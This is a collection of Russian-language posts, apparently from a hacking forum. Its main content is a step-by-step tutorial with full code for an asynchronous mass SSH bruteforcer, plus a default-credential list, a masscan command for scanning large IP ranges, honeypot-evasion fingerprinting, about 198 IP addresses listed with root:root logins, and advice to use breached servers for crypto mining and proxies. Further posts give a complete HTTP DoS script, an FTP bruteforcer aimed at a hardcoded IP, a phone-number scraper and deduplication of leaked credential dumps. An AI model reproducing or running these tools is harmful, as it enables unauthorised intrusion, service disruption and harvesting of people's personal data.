Spoiler: Небольшой дисклеймер:
Внимание! Возможно своим кодом ниже, я только вызову у вас возмущение,
ненависть, боль и осознание того что мир обречен из за невежества
подрастающего поколения.
Вместо бранных речей, в мою сторону, лучше укажите мне на мои ошибки, и я
смиренно буду впитывать информацию, потому-что осознаю, что я всего-лишь холоп
на просторах информационных технологий.
Начнем с импорта библиотек, которые нам понадобятся
Python:Copy to clipboard
import asyncio # Стандартная библиотека для работы с асинхронным кодом
import asyncssh # Блиблиотека для асинхронной работы с ssh протоколом
import argparse # Блиблиотека для парсинга аргументов командной строки
from itertools import islice # Для работы со списком хостов
from asyncssh.misc import ConnectionLost, PermissionDenied, ProtocolNotSupported, ChannelOpenError, ProtocolError # Импортируем исключения
import re # Для работы с регулярными выражениями
По сути, все что нам нужно сделать, для того что-бы узнать рабочий ли сервер,
это аутентифицироваться и выполнить команду на удаленном сервере.
Если команда выполняется, значит сервер - гуд.
Для того что-бы наш скрипт не простаивал во время ожидания ответа от сервера,
а занимался в это время полезными делами - нам и пригодится асинхронность.
Подробнее про асинхронное программирование в Python можно прочитать из этой
статьи _ttps://habr.com/ru/post/337420/
Если в двух словах - есть цикл событий (event loop) в котором крутятся все
задачи которые нужно выполнить. И есть корутины - это асинхронные функции, они
запускаются из цикла событий.
Когда в нашем скрипте корутина достигает блокировки (ожидание ответа на запрос
от сервера) управление передается следующей корутине. И так далее.
Таким образом можно делать очень много запросов практически одновремеенно.
Давайте напишем нашу корутину:
Python:Copy to clipboard
async def make_connection(ip, login, password):
try:
async with connect(ip, username=login, password=password, known_hosts=None) as conn:
result = await conn.run('whoami', check=True, timeout=5)
if result.stdout.strip().lower() == login:
return 0
except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
return 1
except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
return 1
except PermissionDenied:
return 2
except Exception:
return 1
Что здесь произошло?
Выглядит наша корутина как обычная функция с префиксом async , принимает 3
агрумента ip, login, password. хост куда подключаемся и данные, с которыми
логинимся соответственно.
Используя контекстный менеджер with получаем дескриптор подключения
используя asyncssh.connect() ив параметрах передаем хост и данные, параметр
known_hosts=None указывает, что не надо искать ключи подключения на
компьютере, а сразу-же подключатся используя логин и пароль.
Сохраняем в переменную conn и вызываем метод run() с помощью которого в
библиотеке asyncssh можно отправить команду в удаленный терминал.
В нашем случае отправляем whoami (команда должна вернуть имя пользователя).
Таким образом если мы будем коннектится с логином root , и whoami вернет
root , значит сервер - валид.
Я знаю, что whoami - это далеко не самый идеальный способ проверки, но
статья носит сугубо ознакомительный характер и служит для того что-бы показать
пример.
Если вы знаете способ получше - то сообщите мне его.
Если ловим исключения связанные с подключением - возвращаем 1
Значит по каким-то причинам хост не отвечает.
Если ловим PermissionDenied - исключение связанные с неправильным логином и
паролем - возвращаем 2
Значит не подошел пароль.
В случае успешного выполнения whoami на удаленном сервере - возвращаем 0
Что касается
Python:Copy to clipboard
except Exception:
Расскажу небольшую историю:
Я сам вообще не кодер, нигде никогда не работал и не учился, а просто клацал
питон самостоятельно, дома.
И в моем обучении был момент истины, до которого все мои скрипты не работали,
а после которого заработали.
Однажды мне товарищ питонист, сказал что без try: except Exception: ни один
код в продакшене у них не работает.
После этого откровения все мои программы заработали)
И в нашем случае тоже, потому-что на самом деле бог его знает, сколько там еще
ошибок вылезет от такого количества запросов.
Меня хватило только отловить несколько самых популярных, а остальное мы
положим на плечи try: except Exception.
Едем дальше
Поскольку в методе asyncssh.connect нет параметра timeout, то мы обернем
нашу корутину методом asyncio.wait_for() который как раз создан для таких
ситуаций.
В методе asyncssh.run() параметр timeout есть, и он касается только ожидания
ответа на нашу команду whoami , а не на подключение в целом.
asyncio.wait_for() принимает на вход корутину и время, за которое она должна
выполнится. Если корутина не успевает выполниться - будет вызвано исключение
asyncio.TimeoutError , которое мы благопалучно ловим.
asyncio.Semaphore служит ограничением в одновременно выполняемых корутин (в
нашем случае, коннектов. Потому-что пул одновременных коннектов не резиновый)
Если не обернуть нашу корутину в Semaphore , то если вы загрузите 1 миллион
хостов на проверку, то скрипт попытается выполнить миллион запросов
одновременно.
Естественно операционная система, сам компьютер и интерпретатор пайтона все
вместе пошлют нас куда подальше, при таких раскладах.
По этому Semaphore здесь необходим.
Python:Copy to clipboard
semaphore = asyncio.Semaphore(args.c) # Обьявляем наш семофор. Который будет ограничивать до количества указанного в параметре командной строки
async def work(ip, login, password, fh):
async with semaphore:
try:
result = await asyncio.wait_for(make_connection(ip, login, password), timeout=args.timeout)
if result == 1:
save_result('bad', fh, ip, login, password)
if result == 2:
save_result('wrong', fh, ip, login, password)
if result == 0:
save_result('good', fh, ip, login, password)
if result == 3:
save_result('honeypot', fh, ip, login, password)
except asyncio.TimeoutError:
save_result('bad', fh, ip, login, password)
В зависимости от возврата корутины make_connection(), сохраняем данные в файл с помощью функции save_result() которую мы напишем и она кстати будет выглядеть вот так:
Python:Copy to clipboard
def save_result(file, file_handle, ip, login, password):
print(f'{ip}:{login}:{password}', file=file_handle[file])
if not args.dp:
print(f'[{get_index()}]\t\t[{file}]\t\t{ip}')
fh - это словарь, в котором будет лежать дескриптор файла в который будем
сохранять результат.
Мы заранее откроем все файлы, что-бы не тратить ресурс на их открытие каждый и
поместим дескрипторы в переменную fh таким образом:
Python:Copy to clipboard
def open_files():
files = {'good': open('good.txt', 'a'),
'bad': open('bad.txt', 'a'),
'wrong': open('wrong.txt', 'a'),
'honeypot': open('honeypot.txt', 'a')}
return files
fh = open_files()
Ну как бы, на этом почти все. Фундамент нашего супер-брутфорса уже положен, осталось только дописать парсинг хостов из файла и запуск наших корутин из цикла событий.
Загружаем файл с айпишниками:
Python:Copy to clipboard
def load_hosts():
with open(f'{args.path}') as file: # args.path - будущий параметр командной строки (путь к файлу)
for line in file:
yield ''.join(re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line))
С помощью yield делаем из нашей функции - генератор, и читаем файл по одной
строке. Для того что-бы не загружать весь файл в оперативную память.
Таким образом в наш скрипт можно будет смело загружать много миллионов хостов,
и мы не будем боятся что он отвалится по памяти.
С помощью регулярного выражения " \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
ищем в каждой строке ip адрес.
Это мы делаем для того, что-бы в наш скрипт был совместим с результативным
логом утилит типа masscan и принимал списки даже такого вида:
Code:Copy to clipboard
Host: 221.34.0.15 () Ports:22/open/tcp///
Host: 143.22.75.1 () Ports:22/open/tcp///
Host: 43.12.55.1 () Ports:22/open/tcp///
Далее создаем функцию загрузки файла с заранее подготовленным списком комбинация логинов и паролей.
Python:Copy to clipboard
def load_credentials():
with open('credentials.txt') as file:
return [(line.split(':')[0], line.split(':')[1].strip()) for line in file.readlines()]
Возвращать будет наша функция load_credentials() кортеж вида (login,
password).
Вот примерный список самых популярных комбинаций логинов и паролей, что мне
удалось найти:
Python:Copy to clipboard
root:root
oracle:oracle
root:123456
root:abc123
root:password
root:default
admin:default
test:toor
root:dietpi
support:support
root:!@
ubnt:ubnt
ftp:ftp
Собственно этот список у нас и хранится в файле credentials.txt
Теперь давайте запилим цикл событий.
Поскольку если мы загрузим в наш цикл событий сразу-же много миллионов задач,
то он попросту завалится и пошлет куда подальше.
По этому спомощью следующей хитрой конструкции со stackoverflow, мы будем
подавать нашему скрипту хосты кусками по 100 000 штук, для стабильности.
Python:Copy to clipboard
def chunks(n, iterable):
i = iter(iterable)
piece = list(islice(i, n))
while piece:
yield piece
Запускать будем нашу корутину work() из другой корутины run()
Python:Copy to clipboard
async def run(targets, login, password, fh):
tasks = []
for target in targets:
tasks.append(work(target, login, password, fh))
await asyncio.gather(*tasks)
Генерируем задачи и добавляем их в цикл событий.
Для каждого чанка, создаем новый цикл событий и перезапускаем его.
Python:Copy to clipboard
def main():
targets = chunks(100000, load_hosts()) # Делим хосты на куски по 100 000
for login, password in load_credentials(): # Обходим циклом каждый логин и пароль в credentials
for chunk in targets: # Обходим циклом каждый кусок списка хостов
loop = asyncio.get_event_loop() # Создаем цикл событий
future = asyncio.ensure_future(run(chunk, login, password)) # формируем задания
loop.run_until_complete(future) # Запускаем
Вуа-ля. Наш скрипт почти готов.
Но остались еще небольшие нюансы. Поскольку мы пишем скрипт для людей, то надо
реализовать парсинг параметров командной строки.
А для того, что-бы наш был настоящим хакерским скриптом, то надо придумать
какой-нибудь пафосное название, как medusa или hydra.
Поскольку мне нравятся мечи, то пусть будет katana.
И еще одина неотъемлемая часть нашего хакерского инструмента - это ASCII арт в
заголовке.
Python:Copy to clipboard
intro = [' ',
' katana - the ssh bruteforce tool',
' /\\',
' /vvvvvvvvvvvv \--------------------------------------,',
' `^^^^^^^^^^^^ /====================================="',
' \/',
' by dortmund457']
Что-бы все знали кто тут крутой хакер (пишущий 100-строчный сырой скрипт на питоне и на готовых библиотеках), обязательно надо добавить by ваш_ник.
Парсим параметры командной строки:
Python:Copy to clipboard
def parse_args():
parser = argparse.ArgumentParser(description='katana - the ssh bruteforce tool')
parser.add_argument('path', type=str, help='path to hosts file')
parser.add_argument('-c', '--connections', type=int, default=250, help='count of parallel connections')
parser.add_argument('-t', '--timeout', type=int, default=7, help='timeout')
parser.add_argument('-dp', action='store_true', help='disable stdout printing')
return parser.parse_args()
В итоге имеем обязательный параметр path, в который надо передать путь до
файла с хостами.
И 3 необязательных -с и -t отвечающих за количество потоков
(asyncio.Semaphore), и таймаут.
Ну и -dp который отключает вывод в stdout (для ускорения экономии ресурсов)
В итоге запускать скрипт надо будет таким образом.
python3 katana.py /home/bomj/hosts.txt -c 300 -t 15
О скорости
Поскольку я холоп, я не знаю какое количество одновременных запросов можно
делать с одного хоста. Насколько мне известно это зависит от операционной
системы.
По моим наблюдениям оптимальное количество параллельных запросов - 300. Но
можно поиграться с этим числом.
300 параллельных коннектов с таймаутом в 5 секунд выдадут:
3600 попыток в минуту
216 000 попыток в час
5 184 000 попыток в сутки
Не могу сказать много это или мало, но это больше чем выдавала hydra и medusa.
А если быть более точным, они не выдают такой результат потому-что в отличии
от нашего скрипта - отваливаются спустя 100 000 хостов.
Spoiler: Ну брутфорс сделали, и чо? А где теперь нам взять список хостов?
Список хостов можно добыть с помощью утилиты nmap или masscan
Для массового скана рекомендую использовать последний.
Установить его на ubuntu\debian системах можно так:
apt-get install masscan
На винду тоже есть:
_ttps://github.com/robertdavidgraham/masscan/releases
А запускать его такой командой:
masscan -p22 0.0.0.0-50.0.0.0 --rate=10000 -oG hosts.txt
Где 0.0.0.0-50.0.0.0 это диапазон ip
-p22 это наш 22ой ssh порт
--rate=10000 количество потоков, не рекомендую ставить больше 10 000 хотя
можно хоть 300 000 и будет работать, но недолго
-oG записываем результат в файл hosts.txt
О плохом и плохих людях...
O honey pot'ах и умников которые их разрабатывают.
Есть умники, которым заняться не чем и они начинают писать всякую х*ню, для
того что-бы нагадить нормальным парням, вроде нас.
Вот неполный список умников и того что они написали:
Code:Copy to clipboard
_ttps://github.com/desaster/kippo
_ttps://github.com/droberson/ssh-honeypot
_ttps://github.com/cowrie/cowrie
Лучше бы нормальным делом занялись.
Что такое honeypot?
Ну если грубо, то эмулятор рабочего ssh подключения, который не является
настоящим устройством, а специально разработан, для того что-бы отлавливать
таких как мы и более того - смотреть, с какими паролями мы подключаемся и что
мы делаем на сервере, когда получим доступ.
Но по факту, к ханипотам подходят любая комбинация из логинов и паролей.
Для того что-бы потом накатать на нас абузу дяде Сему.
Крысятничество - вот истинная сущность honey pot ов.
Ибо 98% всех наших гудов - будут именно honeypot'ы.
Знали бы они, как моя искренняя радость, от вида файла good.txt пополняющегося
доступами - заменяется негодованием когда понимаешь что все эти доступы -
мусор.
Как c ними бороться?
Ну насколько я понимаю так-же как и малваре-писатели борются с песочницами.
Надо высмотреть какой-то параметр системы, который есть именно у песочницы или
виртуалки.
Будть то наличие диска _D:_ на windows системах, id драйверов итд. Так - же и
нам, надо поковырять систему... а если быть точным - много систем одинакового
типа, для того что-бы определить 1 общий параметр у honeypot'ов, по которому
мы будем их исключать. По буржуйски это называется фингерпринтинг.
Spoiler: Вот к примеру список из 198 таких
Code:Copy to clipboard
root:root:118.89.25.121
root:root:119.160.131.176
root:root:123.206.108.219
root:root:123.59.120.95
root:root:123.59.213.102
root:root:123.207.107.83
root:root:123.59.213.136
root:root:123.59.213.25
root:root:128.0.186.230
root:root:123.59.213.82
root:root:123.59.213.77
root:root:129.205.5.186
root:root:115.110.207.121
root:root:123.59.213.79
root:root:13.232.93.179
root:root:13.211.74.111
root:root:13.211.31.230
root:root:123.59.213.85
root:root:13.250.104.221
root:root:134.209.188.85
root:root:132.147.91.145
root:root:13.250.64.15
root:root:13.233.123.67
root:root:134.209.192.195
root:root:134.209.247.68
root:root:134.209.24.140
root:root:134.122.28.67
root:root:134.209.77.174
root:root:134.209.152.254
root:root:134.209.25.247
root:root:134.209.99.171
root:root:13.52.218.70
root:root:13.58.234.170
root:root:13.58.84.254
root:root:13.59.146.46
root:root:138.197.165.238
root:root:138.197.142.60
root:root:138.197.155.137
root:root:138.197.140.147
root:root:138.68.62.134
root:root:138.68.62.24
root:root:139.59.23.196
root:root:138.68.53.175
root:root:138.68.59.241
root:root:139.180.144.190
root:root:138.68.57.220
root:root:139.180.137.112
root:root:139.59.61.68
root:root:139.180.213.82
root:root:139.59.20.60
root:root:139.178.108.63
root:root:139.59.69.23
root:root:139.59.70.64
root:root:139.59.39.126
root:root:139.59.77.170
root:root:139.59.40.28
root:root:139.59.58.113
root:root:139.59.92.207
root:root:139.59.95.39
root:root:139.59.79.115
root:root:139.59.92.226
root:root:142.93.128.164
root:root:139.59.78.53
root:root:139.59.95.41
root:root:141.170.139.62
root:root:142.93.55.88
root:root:142.93.82.94
root:root:142.93.68.68
root:root:151.96.2.68
root:root:142.93.19.63
root:root:167.71.158.217
root:root:167.172.97.186
root:root:18.156.163.184
root:root:167.172.97.175
root:root:18.156.165.232
root:root:18.156.173.67
root:root:165.22.106.216
root:root:153.127.16.167
root:root:178.128.84.186
root:root:18.138.58.37
root:root:18.139.255.161
root:root:139.59.8.37
root:root:1.65.155.155
root:root:18.197.40.88
root:root:18.162.48.21
root:root:18.208.142.77
root:root:18.221.47.178
root:root:18.212.96.94
root:root:185.167.184.63
root:root:194.213.60.70
root:root:194.228.3.52
root:root:200.70.38.5
root:root:193.165.172.18
root:root:209.97.152.252
root:root:201.234.91.59
root:root:193.165.115.238
root:root:196.0.42.110
root:root:210.149.76.192
root:root:213.144.147.49
root:root:213.211.54.140
root:root:210.69.12.79
root:root:213.220.214.202
root:root:220.242.130.193
root:root:213.194.253.117
root:root:217.30.77.180
root:root:217.170.103.137
root:root:3.0.51.68
root:root:216.104.206.228
root:root:31.134.100.205
root:root:24.35.86.207
root:root:24.247.231.170
root:root:3.127.235.39
root:root:3.12.73.105
root:root:31.208.216.151
root:root:34.202.160.161
root:root:31.31.231.153
root:root:31.47.99.177
root:root:3.248.209.133
root:root:34.210.126.30
root:root:34.201.92.252
root:root:34.228.8.33
root:root:34.243.131.202
root:root:34.229.202.21
root:root:34.252.18.236
root:root:34.245.34.255
root:root:34.201.105.107
root:root:34.242.128.182
root:root:35.175.122.13
root:root:24.62.28.8
root:root:34.93.228.186
root:root:35.185.167.211
root:root:34.93.147.233
root:root:35.176.29.24
root:root:37.187.120.109
root:root:35.200.133.234
root:root:35.229.196.157
root:root:35.200.181.232
root:root:37.17.234.117
root:root:37.221.254.179
root:root:37.143.116.69
root:root:3.80.111.151
root:root:37.143.114.239
root:root:3.84.213.22
root:root:37.44.20.140
root:root:3.217.16.191
root:root:3.87.116.114
root:root:3.87.173.172
root:root:3.88.187.21
root:root:3.90.29.58
root:root:3.90.199.41
root:root:3.94.194.91
root:root:3.106.131.246
root:root:41.77.78.250
root:root:45.151.175.210
root:root:41.210.129.102
root:root:41.210.129.106
root:root:45.32.41.174
root:root:45.32.118.207
root:root:45.56.75.90
root:root:46.101.34.252
root:root:45.76.151.112
root:root:45.59.126.152
root:root:46.231.72.124
root:root:45.65.244.133
root:root:45.92.238.189
root:root:46.183.57.45
root:root:46.227.182.3
root:root:46.13.58.131
root:root:46.149.120.37
root:root:46.231.72.58
root:root:46.231.72.43
root:root:46.13.100.254
root:root:46.13.170.103
root:root:45.82.233.13
root:root:46.13.30.40
root:root:46.228.24.222
root:root:46.167.231.173
root:root:46.39.185.7
root:root:45.79.212.97
root:root:46.33.117.7
root:root:46.47.166.2
root:root:46.33.119.203
root:root:46.39.164.4
root:root:46.253.99.15
root:root:46.13.59.196
root:root:5.104.16.71
root:root:47.186.38.102
root:root:5.181.51.248
root:root:52.14.192.9
root:root:5.135.189.97
root:root:51.68.106.175
root:root:5.150.236.53
root:root:52.170.187.145
root:root:52.183.13.164
root:root:52.193.202.226
root:root:49.245.126.208
root:root:52.53.167.53
root:root:52.47.137.28
Попробуем найти что-нибудь общее.
Посмотрим состояние дисков командой df и сравним вывод разных ханипотов.
Сразу же видим, что умники создающие ханипоты, не такие уж и умники.
Ибо название диска _ '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af'
- _общее для всех ханипотов.
Давайте воспользуемся этим изменим нашу основную корутину и отфильтруем нечестивые доступы.
Python:Copy to clipboard
kippo = '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af'
def is_honeypot(text):
if kippo in text:
return True
else:
return False
async def make_connection(h, l, p):
try:
async with connect(h, username=l, password=p, known_hosts=None) as conn:
whoami = await conn.run('whoami', check=True, timeout=args.timeout)
if whoami.stdout.strip().lower() == l:
if args.ch:
df = await conn.run('df', check=True, timeout=args.timeout)
if is_honeypot(df.stdout.strip().lower()):
return 3
return 0
except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
return 1
except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
return 1
except PermissionDenied:
return 2
except Exception :
return 1
Таким образом у нас появился новый код возврата - 3, что означает что хост
honeypot.
Так-же поскольку, для проверки хоста мы делаем второй запрс - а это в 2 раза
режет скорость нашего чека.
То давайте вынесем функционал проверки под аргумент командной строки -ch и
таким образом, проверка хоста на нечестивость будет опциональной функцией.
Python:Copy to clipboard
parser.add_argument('-ch', action='store_true', help='check if host is honeypot')
И можно будет проверит список гудов отдельной проверкой.
На этом все. Полный скрипт прикриплен к теме в архиве.
Что можно еще допиливать в скрипте?
Очень много всего.
В первую очередь можно допилить БД, и записывать результаты туда.
Можно и нужно, отфильтровать оставшиеся ханипоты.
Можно распараллелить работу на несколько ядер используя multiprocessing.
Можно пилить авторазвертывание скрипта на свежеполученных доступах.
Зачем вообще брутить ssh?
Конечно же ради заветных доступов.
Как можно их использоавть?
Да по разному. Можно ставить xmrig, можно подымать прокси-сервер или vpn, а
можно дублировать на них наш скрипт и продолжать брутить.
Конечно же большинство доступов будут ip камеры, и девайсы на которых очень
маленький запас ресурсов. Но встречаются и высокопроизводительные серверы, и
хранилища по 20TB.
**В завершение...
**
Хочу поблагодарить всех прочитавших, если вы осилили это до конца значит я не
зря старался.
Если вам интересна тема брута ssh, то приглашаю обсуждать в тему
/threads/37303/ или пишите мне в личку, обменяемся опытом и вместе сделаем че-
нибудь получше этого.
Пароль от архива: xss.is
Для людей которые не читали и сразу-же качают скрипт.
Spoiler: Как запустить скрипт
python katana.py /путь/к/спискуip.txt
Результат будет записан в директории из которой запускается скрипт в файлах.
bad.txt - плохие ip
wrong.txt - рабочие сервера, но пароль неправильный (на речек)
good.txt - найденные сервера
honeypot.txt - ханипоты
Описание параметров:
python katana.py --help
-t таймаут в секундах (по дефолту 7)
-с количество параллельных соеденений (по дефолту 250)
-ch чекать на ханипоты (без параметра не чекается, скорость падает в 2 раза, лучше всего чекать уже good.txt
Для работы скрипта необходим интерпретатор Python версии не ниже 3.6
А так-же библиотека asyncssh
pip install asyncssh
или
python -m pip install asyncssh
Всем привет. Как обещал выкладываю парсер номеров с OLX на python.
Строго не судите я новичок в написании скриптов на python.
Python:Copy to clipboard
import requests
from selenium import webdriver
from bs4 import BeautifulSoup
import time
base_url = 'https://www.olx.ua/nedvizhimost/kvartiry-komnaty/'
driver = webdriver.Edge("D:\\Games\\msedgedriver.exe")
def get_all_ads(base_url):
total_ads = []
base_r = requests.get(base_url)
base_soup = BeautifulSoup(base_r.content, 'html.parser')
total_page = base_soup.find_all('span', attrs={'class': 'item fleft'})[-1].text
for i in total_page:
url = f'https://www.olx.ua/nedvizhimost/kvartiry-komnaty/?page={i}'
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
ads = soup.find_all('h3', attrs={'class':'lheight22 margintop5'})
for ad in ads:
link_ads = ad.find('a', attrs={'class':'marginright5 link linkWithHash detailsLink'}).get('href')
total_ads.append(link_ads)
return total_ads
def get_phone(total_ads, driver):
total_phone = []
for ads in total_ads:
driver.get(ads)
phone_btn = driver.find_element_by_xpath('//span[@class="spoiler"]')
phone_btn.click()
time.sleep(3)
phone = driver.find_element_by_xpath("//strong[@class='fnormal xx-large']").text
print(phone)
driver.quit()
total_phone.append(phone)
return total_phone
total_ads = get_all_ads(base_url)
get_phone(total_ads, driver)
Всем хорошего дня ☺
Всем привет, недавно наткнулся на интересный тред:
https://xss.is/threads/122300/
ТС же в нем очень перемудрил с алгоритмом на мой взгяд, но это не то что меня
заинтересовало. Как реализовать такой функционал на C# (Знаю только Паскаль,
Шарп, и
Петухон)
мне понятно, а вот как сделать это быстро интерпретатором очень интересная
задача, так что решил создать тред где буду размещать придуманные мной
алгоритмы на ЯП этого раздела.
Продолжу этот тред здесь:
Больше 1gb к примеру. Что бы сортировать такие файлы одного .readlines() будет маловато.
Еще не понятно, что есть юзернеймы? Какой формат строк должен быть?
username? email:pass? разделитель?Click to expand...
Очень интересная задача для питона, я подумаю на досуге за алгоритм сортировки
и удаления дублей в большом файле без критичного потребления ОЗУ. Всё что пока
пришло на ум для быстрой очистки от дублей это применить функцию set
(множества элементов) в списке, сгенерировал файл с дублями в объеме до 2
гигов (точный размер 1.84гб) такого вида:
В целом получилось чуть больше 108 миллионов строк, размер ОЗУ моей системы 32
гигабайта (в пике потребление по диспетчеру задач у скрипта в районе 12-14
гигабайт). На обработку скрипта ушло:
На выходе получилось как-то так:
main.py
Python:Copy to clipboard
import time
name_file = "bd_dublicate.txt" # Передаю имя исходного файла
tic = time.perf_counter() # Запускаем таймер и вычисляем время работы скрипта в секундах
# Чтение файла
with open(name_file, 'r', encoding='utf-8') as file:
f = file.read()
# Разделение строк
total = f.split('\n')
# Удаление дубликатов
unique_lines = list(set(total))
#print(unique_lines)
# Подсчет удаленных строк
print(len(total) - len(unique_lines), 'всего удалённых строк')
# Запись уникальных строк в новый файл
with open("output.txt", 'w', encoding='utf-8') as output_file:
output_file.write('\n'.join(unique_lines))
print("Файл успешно сохранен.")
tac = time.perf_counter()
print(f"Удаление дублей заняло {tac - tic:0.4f} секунд")
У меня есть АП ULP и вариант им почистить его от дублей? 500гб вес... за*бался искаться софт для удаление дублей в ULP
Click to expand...
Можно попробовать файл поделить на несколько частей, к примеру по 2 гигабайта, пройтись по ним алгоритмом выше в цикле, а потом объединить всё в один файл, но это в теории. Пока не имею возможности сгенерировать такой объем для проверки этой теории. Ну и также на границе смещения могут быть дубли при таком подходе.
Всем привет!
Сегодня я вам покажу, как вы можете написать свой скрипт для DOS атак.
Напоминаю, ddos - много атакующих и одна цель. dos - один атакующий и одна
цель. То есть цель этой статьи - написание скрипта для отсылки большого
количества пакетов на удаленную машину с целью довести её до отказа.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.
Давайте сначала установим зависимости для нашего Python3. Их всего 3:
colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:
Bash:Copy to clipboard
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests
Объясню для чего нужна каждая зависимость.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете
обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо
всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на
удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы.
Многопоточность увеличит скорость.
Приступим к написанию.
Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
Python:Copy to clipboard
import colorama
import threading
import requests
Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:
Python:Copy to clipboard
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как
у нас много потоков и это всё работает постоянно.), так как завершать работу
программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию,
например как только сервер начал не отвечать прекратить работу. Ну это дело
вкуса. Всё в ваших руках.
Дальше приступим к главному коду.
Python:Copy to clipboard
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Теперь объясняю. Создаем переменную threads , в которой мы будем хранить
количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто
поставил для примера). Дальше объявили переменную url , в которую мы
запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы
использовать. Заметьте мы это делаем в блоке try , если это делать без
него, то может выдать исключение, если при преобразовании строки в int
попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не
будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем
пользователя о запуске потока под номером i.
Вот собственно и всё.
Spoiler: Полный код
Python:Copy to clipboard
import colorama
import threading
import requests
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Автор @Pazsh
Всем хай. Написал на коленке первый брутер, буду рад критике.
Code:Copy to clipboard
# coding:utf-8
import ftplib,os,time,socket
# HOSTNAME BLOCK
hostname='117.247.99.29'
dictionary=r'D:\login-pass.txt'
# TIMEOUT BLOCK
time_out=2
# Проверка доступности хоста
def tcping(hostname, port=21, timeout=2):
s = socket.socket()
s.settimeout(timeout)
result = False
try:
s.connect((hostname, port))
s.close()
result = True
except Exception, e:
result = False
return result
if tcping(hostname):
print 'Host is up!'
ftp=ftplib.FTP(hostname,timeout=time_out)
# Перебор словаря из одного файла
with open(dictionary,'r') as file:
for line in file:
login,password=line.split(':')
login=str(login).strip()
password = str(password).strip()
print '[!] Trying login with %s:%s' % (login, password)
try:
time.sleep(time_out)
if ftp.login(user=login, passwd=password):
print '[+] Access granted! Login: %s, Password: %s' % (login, password)
ftp.close()
break
except Exception as err:
print '[-] %s' % err
# pass # Ignore errors
print '[-] BruteForce done... no valid login-pass.'
Пока всё захардкоджено, потом добавлю флаги и аргументы.
Скрипт принимает словарь вида login:pass и айпи адресс жертвы.
Далее пингует её по сокету IP:PORT, если есть пинг значит начинает брут.
Если пинга нет, можно например перескочить на следующий IP.
Дело в том что столкнулся с такой проблемой после н-ного кол-ва брута
появляется ошибка [10050] погуглил это вроде как ошибка на уровне сети и
дальше сервак зависает.
Что хочу сделать:
Описание от издателя:
When it comes to creating powerful and effective hacking tools, Python is the language of choice for most security analysts. But just how does the magic happen?
In Black Hat Python, the latest from Justin Seitz (author of the best- selling Gray Hat Python), you'll explore the darker side of Python's capabilities—writing network sniffers, manipulating packets, infecting virtual machines, creating stealthy trojans, and more. You'll learn how to:
Create a trojan command-and-control using GitHub
Detect sandboxing and automate common malware tasks, like keylogging and screenshotting
Escalate Windows privileges with creative process control
Use offensive memory forensics tricks to retrieve password hashes and inject shellcode into a virtual machine
Extend the popular Burp Suite web-hacking tool
Abuse Windows COM automation to perform a man-in-the-browser attack
Exfiltrate data from a network most sneakily
Insider techniques and creative challenges throughout show you how to extend the hacks and how to write your own exploits.
When it comes to offensive security, your ability to create powerful tools on the fly is indispensable. Learn how in Black Hat Python.Click to expand...
Содержание http://shop.oreilly.com/product/9781593275907.do
Не путать с Gray Hat
Python.
скачать бесплатно и без смс https://www.sendspace.com/file/s03vbt
пдф найдет на просторах инета, по идее не должен содержать "сюрпризы", но все же.
Telegram Qiwi Bot
П риложение создано для рядовых пользователей Telegram и Qiwi
С помощью данного продукта можно совершать банковские операции, просматривать
статус платежей, искать ближайшие пункты пополнения, вообщем карманный киви
кошелёк в телеграмме
Д ля тех кому лень устанавливать могу дать адрес телеграмм своего бота уже установленного и улучшенной версии для пользования, данная версия с открытым исходным кодом для изучения или чего то ещё)
Пример работы бота****
Д алее читают те кто хочет разобраться как и через что работает бот,
ссылку с инструментом и установкой можно найти в конце статьи.
Введение (используемые API) кликабельно
API для вычисления города по IP
[Python-Telegram-Bot](https://github.com/python-telegram-bot/pythontelegram- bot)
Описание реализации
Структура**:**
Приложение разбито на 3 файла
Особенности**:**
